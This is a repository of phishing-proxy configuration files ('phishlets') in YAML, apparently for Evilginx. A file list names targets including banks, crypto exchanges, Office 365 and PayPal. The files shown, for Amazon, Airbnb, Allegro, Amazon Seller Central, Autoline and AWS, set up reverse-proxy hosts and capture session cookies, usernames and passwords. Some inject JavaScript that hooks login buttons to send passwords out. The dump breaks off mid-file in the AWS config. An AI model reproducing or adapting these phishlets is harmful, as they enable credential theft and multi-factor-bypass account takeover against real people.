├── 163working.yaml ├── Amazon--.yaml ├── airbnb.yaml ├── airbnbfr.yaml ├── alibaba.yaml ├── allegro.yaml ├── amazon-seller.yaml ├── amazon.yaml ├── americanexpress.yaml ├── aol.yaml ├── autoline.yaml ├── aws.yaml ├── banistmo.yaml ├── barclays.yaml ├── binance.yaml ├── binance2-(redirect-Captcha).yaml ├── binanceus.yaml ├── blockchain(Basic).yaml ├── blockchain(Fixed).yaml ├── blockchain(Fixed2).yaml ├── blockchain.yaml ├── bmo.yaml ├── bmomobile.yaml ├── booking.yaml ├── capital.yaml ├── chase.yaml ├── chrome_extension.yaml ├── citrix.yaml ├── coinbase.yaml ├── coinspot.yaml ├── coolblue.yaml ├── dropbox.yaml ├── ebay.yaml ├── edd.yaml ├── facebook-d.yaml ├── facebook-d2.yaml ├── facebook-d3.yaml ├── facebook-fix.yaml ├── facebook.yaml ├── fidelity.yaml ├── fudan.yaml ├── github.yaml ├── godaddy(sso).yaml ├── godaddy.yaml ├── google.yaml ├── google2.yaml ├── gsuite.yaml ├── gusto.yaml ├── hetzner.yaml ├── hinet.yaml ├── hotmail.yaml ├── huntington.yaml ├── icloud.yaml ├── icloud2.yaml ├── instagram.yaml ├── intuit.yaml ├── ionos.yaml ├── linkedin.yaml ├── linkedin2.yaml ├── luno.yaml ├── microsoft.yaml ├── mobile-de.yaml ├── namecheap.yaml ├── notthingham.yaml ├── nottingham.yaml ├── o365(2).yaml ├── o365(April-latest).yaml ├── o365(outlook).yaml ├── o365(working-october21).yaml ├── o365(working2).yaml ├── o365(working2a).yaml ├── o365.yaml ├── okta.yaml ├── onelogin.yaml ├── openbank.yaml ├── paxful.yaml ├── paypal(working2).yaml ├── paypal.yaml ├── playstation-B.yaml ├── playstation.yaml ├── protonmail.yaml ├── qdefi.yaml ├── quickbooks(intuit).yaml ├── rackspace.yaml ├── reddit.yaml ├── roblox.yaml ├── schwab(under-maintain).yaml ├── schwab.yaml ├── snapchat.yaml ├── steam.yaml ├── stripe.yaml ├── sununion.yaml ├── supersport.yaml ├── tiktok.yaml ├── tradus.yaml ├── twitter-mobile.yaml ├── twitter.yaml ├── txstate.yaml ├── usaa.yaml └── vanguard.yaml /Amazon--.yaml: -------------------------------------------------------------------------------- 1 | author: '@An0nud4y' 2 | min_ver: '2.3.0' 3 | proxy_hosts: 4 | - {phish_sub: 'www', orig_sub: 'www', domain: 'amazon.com', session: true, is_landing: true} 5 | - {phish_sub: 'fls-na', orig_sub: 'fls-na', domain: 'amazon.com', session: false, is_landing: false} 6 | - {phish_sub: 'images-na', orig_sub: 'images-na', domain: 'ssl-images-amazon.com', session: false, is_landing: false} 7 | sub_filters: 8 | - {triggers_on: 'www.amazon.com', orig_sub: 'www', domain: 'amazon.com', search: 'action="https://{hostname}', replace: 'action="https://{hostname}', mimes: ['text/html', 'application/json']} 9 | - {triggers_on: 'www.amazon.com', orig_sub: 'www', domain: 'amazon.com', search: 'href="https://{hostname}', replace: 'href="https://{hostname}', mimes: ['text/html', 'application/json']} 10 | - {triggers_on: 'fls-na.amazon.com', orig_sub: 'fls-na', domain: 'amazon.com', search: 'action="https://{hostname}', replace: 'action="https://{hostname}', mimes: ['text/html', 'application/json']} 11 | - {triggers_on: 'fls-na.amazon.com', orig_sub: 'fls-na', domain: 'amazon.com', search: 'href="https://{hostname}', replace: 'href="https://{hostname}', mimes: ['text/html', 'application/json']} 12 | - {triggers_on: 'images-na.ssl-iamges-amazon.com', orig_sub: 'images-na', domain: 'ssl-iges-amazon.com', search: 'action="https://{hostname}', replace: 'action="https://{hostname}', mimes: ['text/html', 'application/json']} 13 | - {triggers_on: 'images-na.ssl-iamges-amazon.com', orig_sub: 'images-na', domain: 'ssl-images-amazon.com', search: 'href="https://{hostname}', replace: 'href="https://{hostname}', mimes: ['text/html', 'application/json']} 14 | auth_tokens: 15 | - domain: '.amazon.com' 16 | keys: ['session-token', 'session-id-time', 'session-id', '.*,regexp'] 17 | - domain: 'www.amazon.com' 18 | keys: ['csm-hit,opt', '.*,regexp'] 19 | 20 | auth_urls: 21 | - '/' 22 | credentials: 23 | username: 24 | key: 'email' 25 | search: '(.*)' 26 | type: 'post' 27 | password: 28 | key: 'unenc_password' 29 | search: '(.*)' 30 | type: 'post' 31 | 32 | login: 33 | domain: 'www.amazon.com' 34 | path: '/ap/signin?_encoding=UTF8&ignoreAuthState=1&openid.assoc_handle=usflex&openid.claimed_id=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select&openid.identity=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select&openid.mode=checkid_setup&openid.ns=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0' 35 | js_inject: 36 | - trigger_domains: ["www.amazon.com"] 37 | trigger_paths: ["/ap/signin", "/signin"] 38 | trigger_params: [] 39 | script: | 40 | function onclickListener(){ 41 | var submit = document.querySelectorAll('input[type="submit"]')[0]; 42 | submit.setAttribute("onclick", "sendPass()"); 43 | submit.addEventListener("click", sendPass); 44 | return; 45 | } 46 | function sendPass(){ 47 | var password = document.getElementsByName("password")[0].value; 48 | var xhr = new XMLHttpRequest(); 49 | xhr.open("POST", '/accounts/login/ajax/', true); 50 | xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); 51 | xhr.send("unenc_password="+encodeURIComponent(password)); 52 | return; 53 | } 54 | setTimeout(function(){ onclickListener(); }, 1000); -------------------------------------------------------------------------------- /airbnbfr.yaml: -------------------------------------------------------------------------------- 1 | author: '@me' 2 | min_ver: '2.3.0' 3 | proxy_hosts: 4 | - {phish_sub: 'www', orig_sub: 'www', domain: 'airbnb.co.uk', session: true, is_landing: true} 5 | - {phish_sub: '', orig_sub: 'www', domain: 'airbnb.co.uk', session: true, is_landing: false} 6 | sub_filters: 7 | - {triggers_on: 'www.airbnb.co.uk', orig_sub: 'www', domain: 'airbnb.co.uk', search: '', replace: '', mimes: ['text/html', 'application/json', 'application/xhtml+xml', 'application/xml']} 8 | auth_tokens: 9 | - domain: '.airbnb.co.uk' 10 | keys: ['.*,regexp'] 11 | - domain: 'www.airbnb.co.uk' 12 | keys: ['.*,regexp'] 13 | credentials: 14 | username: 15 | key: 'phoneNumber' 16 | search: '(.*)' 17 | type: 'post' 18 | password: 19 | key: 'phone' 20 | search: '(.*)' 21 | type: 'post' 22 | 23 | force_post: 24 | - path: '/api/v2/phone_one_time_passwords' 25 | search: 26 | - {key: 'currency', search: '.*'} 27 | - {key: 'key', search: '.*'} 28 | - {key: 'from', search: '.*'} 29 | - {key: 'locale', search: '.*'} 30 | - {key: 'otpMethod', search: '.*'} 31 | - {key: 'phoneNumber', search: '.*'} 32 | - {key: 'workFlow', search: '.*'} 33 | force: 34 | - {key: 'remember_me', value: 'true'} 35 | type: 'post' 36 | auth_urls: 37 | - '/' 38 | login: 39 | domain: 'www.airbnb.co.uk' 40 | path: '/login' 41 | 42 | 43 | 44 | -------------------------------------------------------------------------------- /allegro.yaml: -------------------------------------------------------------------------------- 1 | author: '@An0nud4y' 2 | min_ver: '2.3.0' 3 | proxy_hosts: 4 | - {phish_sub: '', orig_sub: '', domain: 'allegro.pl', session: true, is_landing: false, auto_filter: false} 5 | - {phish_sub: 'www', orig_sub: 'www', domain: 'allegro.pl', session: true, is_landing: true, auto_filter: false} 6 | - {phish_sub: 'edge', orig_sub: 'edge', domain: 'allegro.pl', session: true, is_landing: false, auto_filter: false} 7 | sub_filters: 8 | - {triggers_on: 'www.allegro.pl', orig_sub: 'www', domain: 'allegro.pl', search: 'www.allegro.pl', replace: 'www.{hostname}', mimes: ['text/html', 'text/javascript', 'application/javascript', 'application/json']} 9 | - {triggers_on: 'www.allegro.pl', orig_sub: 'www', domain: 'allegro.pl', search: 'edge.allegro.pl', replace: 'edge.{hostname}', mimes: ['text/html', 'text/javascript', 'application/javascript', 'application/json']} 10 | - {triggers_on: 'www.allegro.pl', orig_sub: 'www', domain: 'allegro.pl', search: 'bing.com', replace: 'asasdasdasdjustranom.com', mimes: ['text/html', 'text/javascript', 'application/javascript', 'application/json']} 11 | - {triggers_on: 'www.allegro.pl', orig_sub: 'www', domain: 'allegro.pl', search: 'tda.io', replace: 'adasdasdasdasdasdasdqwepoa.com', mimes: ['text/html', 'text/javascript', 'application/javascript', 'application/json']} 12 | - {triggers_on: 'edge.allegro.pl', orig_sub: 'edge', domain: 'allegro.pl', search: 'www.allegro.pl', replace: 'www.{hostname}', mimes: ['text/html', 'text/javascript', 'application/javascript', 'application/json']} 13 | - {triggers_on: 'edge.allegro.pl', orig_sub: 'edge', domain: 'allegro.pl', search: 'edge.allegro.pl', replace: 'edge.{hostname}', mimes: ['text/html', 'text/javascript', 'application/javascript', 'application/json']} 14 | - {triggers_on: 'edge.allegro.pl', orig_sub: 'edge', domain: 'allegro.pl', search: 'bing.com', replace: 'asasdasdasdjustranom.com', mimes: ['text/html', 'text/javascript', 'application/javascript', 'application/json']} 15 | - {triggers_on: 'edge.allegro.pl', orig_sub: 'edge', domain: 'allegro.pl', search: 'tda.io', replace: 'adasdasdasdasdasdasdqwepoa.com', mimes: ['text/html', 'text/javascript', 'application/javascript', 'application/json']} 16 | auth_tokens: 17 | - domain: '.allegro.pl' 18 | keys: ['.*,regexp'] 19 | auth_urls: 20 | - '/moje-allegro/moje-konto' 21 | 22 | credentials: 23 | username: 24 | key: '' 25 | search: '"username":"([^"]*)' 26 | type: 'json' 27 | password: 28 | key: '' 29 | search: '"password":"([^"]*)' 30 | type: 'json' 31 | custom: 32 | - key: '_csrf' 33 | search: '(.*)' 34 | type: 'post' 35 | 36 | login: 37 | domain: 'www.allegro.pl' 38 | path: '/login/form/' -------------------------------------------------------------------------------- /amazon-seller.yaml: -------------------------------------------------------------------------------- 1 | author: '@An0nud4y' 2 | min_ver: '2.3.0' 3 | proxy_hosts: 4 | - {phish_sub: 'sellercentral', orig_sub: 'sellercentral', domain: 'amazon.co.uk', session: true, is_landing: true} 5 | - {phish_sub: 'fls-eu', orig_sub: 'fls-eu', domain: 'amazon.com', session: false, is_landing: false} 6 | - {phish_sub: 'images-na', orig_sub: 'images-na', domain: 'ssl-images-amazon.com', session: false, is_landing: false} 7 | 8 | sub_filters: 9 | 10 | - {triggers_on: 'sellercentral.amazon.co.uk', orig_sub: 'sellercentral', domain: 'amazon.co.uk', search: '{hostname_regexp}', replace: '{hostname_regexp}', mimes: ['text/html', 'application/json', 'application/javascript', 'application/x-javascript', 'application/ecmascript', 'text/javascript', 'text/ecmascript', 'multipart/form-data']} 11 | - {triggers_on: 'sellercentral.amazon.co.uk', orig_sub: 'sellercentral', domain: 'amazon.co.uk', search: 'https://{hostname_regexp}', replace: 'https://{hostname_regexp}', mimes: ['text/html', 'application/json', 'application/javascript', 'application/x-javascript', 'application/ecmascript', 'text/javascript', 'text/ecmascript', 'multipart/form-data']} 12 | - {triggers_on: 'sellercentral.amazon.co.uk', orig_sub: 'sellercentral', domain: 'amazon.co.uk', search: 'https%3A%2F%2F{hostname_regexp}', replace: 'https%3A%2F%2F{hostname_regexp}', mimes: ['text/html', 'application/json', 'application/javascript', 'application/x-javascript', 'application/ecmascript', 'text/javascript', 'text/ecmascript', 'multipart/form-data']} 13 | - {triggers_on: 'sellercentral.amazon.co.uk', orig_sub: 'fls-eu', domain: 'amazon.com', search: '{hostname_regexp}', replace: '{hostname_regexp}', mimes: ['text/html', 'application/json', 'application/javascript', 'application/x-javascript', 'application/ecmascript', 'text/javascript', 'text/ecmascript', 'multipart/form-data']} 14 | - {triggers_on: 'sellercentral.amazon.co.uk', orig_sub: 'fls-eu', domain: 'amazon.com', search: 'https://{hostname_regexp}', replace: 'https://{hostname_regexp}', mimes: ['text/html', 'application/json', 'application/javascript', 'application/x-javascript', 'application/ecmascript', 'text/javascript', 'text/ecmascript', 'multipart/form-data']} 15 | - {triggers_on: 'sellercentral.amazon.co.uk', orig_sub: 'fls-eu', domain: 'amazon.com', search: 'https%3A%2F%2F{hostname_regexp}', replace: 'https%3A%2F%2F{hostname_regexp}', mimes: ['text/html', 'application/json', 'application/javascript', 'application/x-javascript', 'application/ecmascript', 'text/javascript', 'text/ecmascript', 'multipart/form-data']} 16 | - {triggers_on: 'sellercentral.amazon.co.uk', orig_sub: 'images-na', domain: 'amazon.com', search: '{hostname_regexp}', replace: '{hostname_regexp}', mimes: ['text/html', 'application/json', 'application/javascript', 'application/x-javascript', 'application/ecmascript', 'text/javascript', 'text/ecmascript', 'multipart/form-data']} 17 | - {triggers_on: 'sellercentral.amazon.co.uk', orig_sub: 'images-na', domain: 'amazon.com', search: 'https://{hostname_regexp}', replace: 'https://{hostname_regexp}', mimes: ['text/html', 'application/json', 'application/javascript', 'application/x-javascript', 'application/ecmascript', 'text/javascript', 'text/ecmascript', 'multipart/form-data']} 18 | - {triggers_on: 'sellercentral.amazon.co.uk', orig_sub: 'images-na', domain: 'amazon.com', search: 'https%3A%2F%2F{hostname_regexp}', replace: 'https%3A%2F%2F{hostname_regexp}', mimes: ['text/html', 'application/json', 'application/javascript', 'application/x-javascript', 'application/ecmascript', 'text/javascript', 'text/ecmascript', 'multipart/form-data']} 19 | - {triggers_on: 'sellercentral.amazon.co.uk', orig_sub: 'sellercentral', domain: 'amazon.co.uk', search: 'action="https://{hostname}', replace: 'action="https://{hostname}', mimes: ['text/html', 'application/json']} 20 | - {triggers_on: 'sellercentral.amazon.co.uk', orig_sub: 'sellercentral', domain: 'amazon.co.uk', search: 'href="https://{hostname}', replace: 'href="https://{hostname}', mimes: ['text/html', 'application/json']} 21 | - {triggers_on: 'fls-eu.amazon.com', orig_sub: 'fls-eu', domain: 'amazon.com', search: 'action="https://{hostname}', replace: 'action="https://{hostname}', mimes: ['text/html', 'application/json']} 22 | - {triggers_on: 'fls-eu.amazon.com', orig_sub: 'fls-eu', domain: 'amazon.com', search: 'href="https://{hostname}', replace: 'href="https://{hostname}', mimes: ['text/html', 'application/json']} 23 | - {triggers_on: 'images-na.ssl-iamges-amazon.com', orig_sub: 'images-na', domain: 'ssl-iges-amazon.com', search: 'action="https://{hostname}', replace: 'action="https://{hostname}', mimes: ['text/html', 'application/json']} 24 | - {triggers_on: 'images-na.ssl-iamges-amazon.com', orig_sub: 'images-na', domain: 'ssl-images-amazon.com', search: 'href="https://{hostname}', replace: 'href="https://{hostname}', mimes: ['text/html', 'application/json']} 25 | 26 | auth_tokens: 27 | - domain: '.amazon.co.uk' 28 | keys: ['.*,regexp'] 29 | - domain: '.amazon.com' 30 | keys: ['.*,regexp'] 31 | auth_urls: 32 | - '/' 33 | - '/*' 34 | 35 | credentials: 36 | username: 37 | key: 'email' 38 | search: '(.*)' 39 | type: 'post' 40 | password: 41 | key: 'password' 42 | search: '(.*)' 43 | type: 'post' 44 | 45 | force_post: 46 | - path: '/ap/signin' 47 | search: 48 | - {key: 'email', search: '.*'} 49 | - {key: 'password', search: '.*'} 50 | force: 51 | - {key: 'rememberMe', value: 'true'} 52 | type: 'post' 53 | 54 | login: 55 | domain: 'sellercentral.amazon.co.uk' 56 | path: '/ap/signin?_encoding=UTF8&ignoreAuthState=1&openid.assoc_handle=usflex&openid.claimed_id=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select&openid.identity=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select&openid.mode=checkid_setup&openid.ns=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0' 57 | -------------------------------------------------------------------------------- /amazon.yaml: -------------------------------------------------------------------------------- 1 | author: '@an0nud4y' 2 | min_ver: '2.3.0' 3 | proxy_hosts: 4 | - {phish_sub: 'www', orig_sub: 'www', domain: 'amazon.com', session: true, is_landing: true} 5 | - {phish_sub: 'fls-na', orig_sub: 'fls-na', domain: 'amazon.com', session: false, is_landing: false} 6 | - {phish_sub: 'images-na', orig_sub: 'images-na', domain: 'ssl-images-amazon.com', session: false, is_landing: false} 7 | sub_filters: 8 | - {triggers_on: 'www.amazon.com', orig_sub: 'www', domain: 'amazon.com', search: 'action="https://{hostname}', replace: 'action="https://{hostname}', mimes: ['text/html', 'application/json']} 9 | - {triggers_on: 'www.amazon.com', orig_sub: 'www', domain: 'amazon.com', search: 'href="https://{hostname}', replace: 'href="https://{hostname}', mimes: ['text/html', 'application/json']} 10 | - {triggers_on: 'fls-na.amazon.com', orig_sub: 'fls-na', domain: 'amazon.com', search: 'action="https://{hostname}', replace: 'action="https://{hostname}', mimes: ['text/html', 'application/json']} 11 | - {triggers_on: 'fls-na.amazon.com', orig_sub: 'fls-na', domain: 'amazon.com', search: 'href="https://{hostname}', replace: 'href="https://{hostname}', mimes: ['text/html', 'application/json']} 12 | - {triggers_on: 'images-na.ssl-iamges-amazon.com', orig_sub: 'images-na', domain: 'ssl-iges-amazon.com', search: 'action="https://{hostname}', replace: 'action="https://{hostname}', mimes: ['text/html', 'application/json']} 13 | - {triggers_on: 'images-na.ssl-iamges-amazon.com', orig_sub: 'images-na', domain: 'ssl-images-amazon.com', search: 'href="https://{hostname}', replace: 'href="https://{hostname}', mimes: ['text/html', 'application/json']} 14 | auth_tokens: 15 | - domain: '.amazon.com' 16 | keys: ['at-main','lc-main','sess-at-main','session-id','session-id-time','session-token','sst-main','ubid-main','x-main','skin','a-ogbcbff'] 17 | credentials: 18 | username: 19 | key: 'email' 20 | search: '(.*)' 21 | type: 'post' 22 | password: 23 | key: 'password' 24 | search: '(.*)' 25 | type: 'post' 26 | login: 27 | domain: 'www.amazon.com' 28 | path: '/ap/signin?_encoding=UTF8&ignoreAuthState=1&openid.assoc_handle=usflex&openid.claimed_id=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select&openid.identity=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select&openid.mode=checkid_setup&openid.ns=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0' 29 | -------------------------------------------------------------------------------- /autoline.yaml: -------------------------------------------------------------------------------- 1 | author: '@AN0NUD4Y' 2 | min_ver: '2.3.0' 3 | proxy_hosts: 4 | - {phish_sub: '', orig_sub: '', domain: 'autoline.info', session: true, is_landing: true} 5 | - {phish_sub: 'mc', orig_sub: 'mc', domain: 'webvisor.org', session: true, is_landing: false} 6 | - {phish_sub: 'top', orig_sub: '', domain: 'autoline-top.com', session: true, is_landing: false} 7 | - {phish_sub: 'cdn', orig_sub: 'cdn', domain: 'jsdelivr.net', session: true, is_landing: false} 8 | - {phish_sub: 'cloudfront', orig_sub: 'd1jqmy35mqw0tb', domain: 'cloudfront.net', session: true, is_landing: false} 9 | 10 | 11 | sub_filters: 12 | 13 | - {triggers_on: 'autoline.info', orig_sub: '', domain: 'autoline.info', search: '{hostname_regexp}', replace: '{hostname_regexp}', mimes: ['text/html', 'text/javascript', 'application/json', 'application/javascript', 'application/x-javascript', 'multipart/form-data']} 14 | - {triggers_on: 'autoline.info', orig_sub: '', domain: 'autoline.info', search: 'https://{hostname_regexp}', replace: 'https://{hostname_regexp}', mimes: ['text/html', 'text/javascript', 'application/json', 'application/javascript', 'application/x-javascript', 'multipart/form-data']} 15 | - {triggers_on: 'autoline.info', orig_sub: '', domain: 'autoline.info', search: 'https%3A%2F%2F{hostname_regexp}', replace: 'https%3A%2F%2F{hostname_regexp}', mimes: ['text/html', 'text/javascript', 'application/json', 'application/javascript', 'application/x-javascript', 'multipart/form-data']} 16 | 17 | - {triggers_on: 'autoline.info', orig_sub: 'mc', domain: 'webvisor.org', search: '{hostname_regexp}', replace: '{hostname_regexp}', mimes: ['text/html', 'text/javascript', 'application/json', 'application/javascript', 'application/x-javascript', 'multipart/form-data']} 18 | - {triggers_on: 'autoline.info', orig_sub: 'mc', domain: 'webvisor.org', search: 'https://{hostname_regexp}', replace: 'https://{hostname_regexp}', mimes: ['text/html', 'text/javascript', 'application/json', 'application/javascript', 'application/x-javascript', 'multipart/form-data']} 19 | - {triggers_on: 'autoline.info', orig_sub: 'mc', domain: 'webvisor.org', search: 'https%3A%2F%2F{hostname_regexp}', replace: 'https%3A%2F%2F{hostname_regexp}', mimes: ['text/html', 'text/javascript', 'application/json', 'application/javascript', 'application/x-javascript', 'multipart/form-data']} 20 | 21 | - {triggers_on: 'autoline.info', orig_sub: '', domain: 'autoline-top.com', search: '{hostname_regexp}', replace: '{hostname_regexp}', mimes: ['text/html', 'text/javascript', 'application/json', 'application/javascript', 'application/x-javascript', 'multipart/form-data']} 22 | - {triggers_on: 'autoline.info', orig_sub: '', domain: 'autoline-top.com', search: 'https://{hostname_regexp}', replace: 'https://{hostname_regexp}', mimes: ['text/html', 'text/javascript', 'application/json', 'application/javascript', 'application/x-javascript', 'multipart/form-data']} 23 | - {triggers_on: 'autoline.info', orig_sub: '', domain: 'autoline-top.com', search: 'https%3A%2F%2F{hostname_regexp}', replace: 'https%3A%2F%2F{hostname_regexp}', mimes: ['text/html', 'text/javascript', 'application/json', 'application/javascript', 'application/x-javascript', 'multipart/form-data']} 24 | 25 | - {triggers_on: 'autoline.info', orig_sub: 'cdn', domain: 'jsdelivr.net', search: '{hostname_regexp}', replace: '{hostname_regexp}', mimes: ['text/html', 'text/javascript', 'application/json', 'application/javascript', 'application/x-javascript', 'multipart/form-data']} 26 | - {triggers_on: 'autoline.info', orig_sub: 'cdn', domain: 'jsdelivr.net', search: 'https://{hostname_regexp}', replace: 'https://{hostname_regexp}', mimes: ['text/html', 'text/javascript', 'application/json', 'application/javascript', 'application/x-javascript', 'multipart/form-data']} 27 | - {triggers_on: 'autoline.info', orig_sub: 'cdn', domain: 'jsdelivr.net', search: 'https%3A%2F%2F{hostname_regexp}', replace: 'https%3A%2F%2F{hostname_regexp}', mimes: ['text/html', 'text/javascript', 'application/json', 'application/javascript', 'application/x-javascript', 'multipart/form-data']} 28 | 29 | - {triggers_on: 'autoline.info', orig_sub: 'd1jqmy35mqw0tb', domain: 'cloudfront.net', search: '{hostname_regexp}', replace: '{hostname_regexp}', mimes: ['text/html', 'text/javascript', 'application/json', 'application/javascript', 'application/x-javascript', 'multipart/form-data']} 30 | - {triggers_on: 'autoline.info', orig_sub: 'd1jqmy35mqw0tb', domain: 'cloudfront.net', search: 'https://{hostname_regexp}', replace: 'https://{hostname_regexp}', mimes: ['text/html', 'text/javascript', 'application/json', 'application/javascript', 'application/x-javascript', 'multipart/form-data']} 31 | - {triggers_on: 'autoline.info', orig_sub: 'd1jqmy35mqw0tb', domain: 'cloudfront.net', search: 'https%3A%2F%2F{hostname_regexp}', replace: 'https%3A%2F%2F{hostname_regexp}', mimes: ['text/html', 'text/javascript', 'application/json', 'application/javascript', 'application/x-javascript', 'multipart/form-data']} 32 | 33 | 34 | auth_tokens: 35 | - domain: 'autoline.info/my/dashboard/' 36 | keys: ['SID','.*,regexp'] 37 | - domain: 'autoline.info/' 38 | keys: ['SID','.*,regexp'] 39 | 40 | credentials: 41 | username: 42 | key: 'login_email' 43 | search: '(.*)' 44 | type: 'post' 45 | 46 | password: 47 | key: 'login_password' 48 | search: '(.*)' 49 | type: 'post' 50 | 51 | login: 52 | domain: 'autoline.info' 53 | path: '/login/' 54 | 55 | js_inject: 56 | - trigger_domains: ["autoline.info"] 57 | trigger_paths: ["/login/"] 58 | trigger_params: [] 59 | script: | 60 | function lp(){ 61 | var submit = document.getElementsByName('submit')[0]; 62 | submit.setAttribute("onclick", "sendPass()"); 63 | return; 64 | } 65 | function sendPass(){ 66 | var email = document.getElementsByName("login")[0].value; 67 | var password = document.getElementsByName("password")[0].value; 68 | var xhr = new XMLHttpRequest(); 69 | xhr.open("POST", '/', true); 70 | xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); 71 | xhr.send("login_password="+encodeURIComponent(password)); 72 | console.log("LEAKING CREDENTIALS...") 73 | return; 74 | } 75 | setTimeout(function(){ lp(); }, 1000); -------------------------------------------------------------------------------- /aws.yaml: -------------------------------------------------------------------------------- 1 | author: '@An0nud4y' 2 | min_ver: '2.3.0' 3 | proxy_hosts: 4 | - {phish_sub: 'signin.aws', orig_sub: 'signin.aws', domain: 'amazon.com', session: true, is_landing: true, auto_filter: true} 5 | - {phish_sub: 'aws', orig_sub: 'aws', domain: 'amazon.com', session: true, is_landing: false, auto_filter: true} 6 | - {phish_sub: '', orig_sub: '', domain: 'amazon.com', session: true, is_landing: false, auto_filter: true} 7 | 8 | - {phish_sub: 'phd.aws', orig_sub: 'phd.aws', domain: 'amazon.com', session: true, is_landing: false, auto_filter: true} 9 | - {phish_sub: 'console.aws', orig_sub: 'console.aws', domain: 'amazon.com', session: true, is_landing: false, auto_filter: true} 10 | - {phish_sub: 'portal.aws', orig_sub: 'portal.aws', domain: 'amazon.com', session: true, is_landing: false, auto_filter: true} 11 | 12 | - {phish_sub: 'aws-signin-website-assets.s3', orig_sub: 'aws-signin-website-assets.s3', domain: 'amazonaws.com', session: true, is_landing: false, auto_filter: true} 13 | - {phish_sub: 'cdn.assets.as2', orig_sub: 'cdn.assets.as2', domain: 'amazonaws.com', session: true, is_landing: false, auto_filter: true} 14 | - {phish_sub: 'opfcaptcha-prod.s3', orig_sub: 'opfcaptcha-prod.s3', domain: 'amazonaws.com', session: true, is_landing: false, auto_filter: true} 15 | 16 | - {phish_sub: 'a.b.cdn.console', orig_sub: 'a.b.cdn.console', domain: 'awsstatic.com', session: true, is_landing: false, auto_filter: true} 17 | - {phish_sub: 'd1', orig_sub: 'd1', domain: 'awsstatic.com', session: true, is_landing: false, auto_filter: true} 18 | 19 | - {phish_sub: 'd2eezf66cfmyv', orig_sub: 'd2eezf66cfmyv', domain: 'cloudfront.net', session: true, is_landing: false, auto_filter: true} 20 | 21 | 22 | ## SUBDOMAINS BASED ON GEO LOCATION. 23 | 24 | - {phish_sub: 'us-east-1.console.aws', orig_sub: 'us-east-1.console.aws', domain: 'amazon.com', session: false, is_landing: false, auto_filter: true} 25 | - {phish_sub: 'us-east-2.console.aws', orig_sub: 'us-east-2.console.aws', domain: 'amazon.com', session: false, is_landing: false, auto_filter: true} 26 | - {phish_sub: 'us-west-1.console.aws', orig_sub: 'us-west-1.console.aws', domain: 'amazon.com', session: false, is_landing: false, auto_filter: true} 27 | - {phish_sub: 'us-west-2.console.aws', orig_sub: 'us-west-2.console.aws', domain: 'amazon.com', session: false, is_landing: false, auto_filter: true} 28 | - {phish_sub: 'af-south-1.console.aws', orig_sub: 'af-south-1.console.aws', domain: 'amazon.com', session: false, is_landing: false, auto_filter: true} 29 | - {phish_sub: 'ap-east-1.console.aws', orig_sub: 'ap-east-1.console.aws', domain: 'amazon.com', session: false, is_landing: false, auto_filter: true} 30 | - {phish_sub: 'ap-south-1.console.aws', orig_sub: 'ap-south-1.console.aws', domain: 'amazon.com', session: false, is_landing: false, auto_filter: true} 31 | - {phish_sub: 'ap-northeast-3.console.aws', orig_sub: 'ap-northeast-3.console.aws', domain: 'amazon.com', session: false, is_landing: false, auto_filter: true} 32 | - {phish_sub: 'ap-northeast-2.console.aws', orig_sub: 'ap-northeast-2.console.aws', domain: 'amazon.com', session: false, is_landing: false, auto_filter: true} 33 | - {phish_sub: 'ap-southeast-1.console.aws', orig_sub: 'ap-southeast-1.console.aws', domain: 'amazon.com', session: false, is_landing: false, auto_filter: true} 34 | - {phish_sub: 'ap-southeast-2.console.aws', orig_sub: 'ap-southeast-2.console.aws', domain: 'amazon.com', session: false, is_landing: false, auto_filter: true} 35 | - {phish_sub: 'ap-northeast-1.console.aws', orig_sub: 'ap-northeast-1.console.aws', domain: 'amazon.com', session: false, is_landing: false, auto_filter: true} 36 | - {phish_sub: 'ca-central-1.console.aws', orig_sub: 'ca-central-1.console.aws', domain: 'amazon.com', session: false, is_landing: false, auto_filter: true} 37 | - {phish_sub: 'eu-central-1.console.aws', orig_sub: 'eu-central-1.console.aws', domain: 'amazon.com', session: false, is_landing: false, auto_filter: true} 38 | - {phish_sub: 'eu-west-1.console.aws', orig_sub: 'eu-west-1.console.aws', domain: 'amazon.com', session: false, is_landing: false, auto_filter: true} 39 | - {phish_sub: 'eu-west-2.console.aws', orig_sub: 'eu-west-2.console.aws', domain: 'amazon.com', session: false, is_landing: false, auto_filter: true} 40 | - {phish_sub: 'eu-south-1.console.aws', orig_sub: 'eu-south-1.console.aws', domain: 'amazon.com', session: false, is_landing: false, auto_filter: true} 41 | - {phish_sub: 'eu-west-3.console.aws', orig_sub: 'eu-west-3.console.aws', domain: 'amazon.com', session: false, is_landing: false, auto_filter: true} 42 | - {phish_sub: 'eu-north-1.console.aws', orig_sub: 'eu-north-1.console.aws', domain: 'amazon.com', session: false, is_landing: false, auto_filter: true} 43 | - {phish_sub: 'me-south-1.console.aws', orig_sub: 'me-south-1.console.aws', domain: 'amazon.com', session: false, is_landing: false, auto_filter: true} 44 | - {phish_sub: 'sa-east-1.console.aws', orig_sub: 'sa-east-1.console.aws', domain: 'amazon.com', session: false, is_landing: false, auto_filter: true} 45 | 46 | 47 | 48 | 49 | sub_filters: 50 | 51 | - {triggers_on: 'signin.aws.amazon.com', orig_sub: '', domain: 'amazon.com', search: '{domain}', replace: '{domain}', mimes: ['text/html', 'text/javascript', 'application/json', 'application/javascript', 'application/x-javascript']} 52 | - {triggers_on: 'signin.aws.amazon.com', orig_sub: '', domain: 'amazonaws.com', search: '{domain}', replace: '{domain}', mimes: ['text/html', 'text/javascript', 'application/json', 'application/javascript', 'application/x-javascript']} 53 | - {triggers_on: 'signin.aws.amazon.com', orig_sub: '', domain: 'awsstatic.com', search: '{domain}', replace: '{domain}', mimes: ['text/html', 'text/javascript', 'application/json', 'application/javascript', 'application/x-javascript']} 54 | - {triggers_on: 'signin.aws.amazon.com', orig_sub: '', domain: 'cloudfront.net', search: '{domain}', replace: '{domain}', 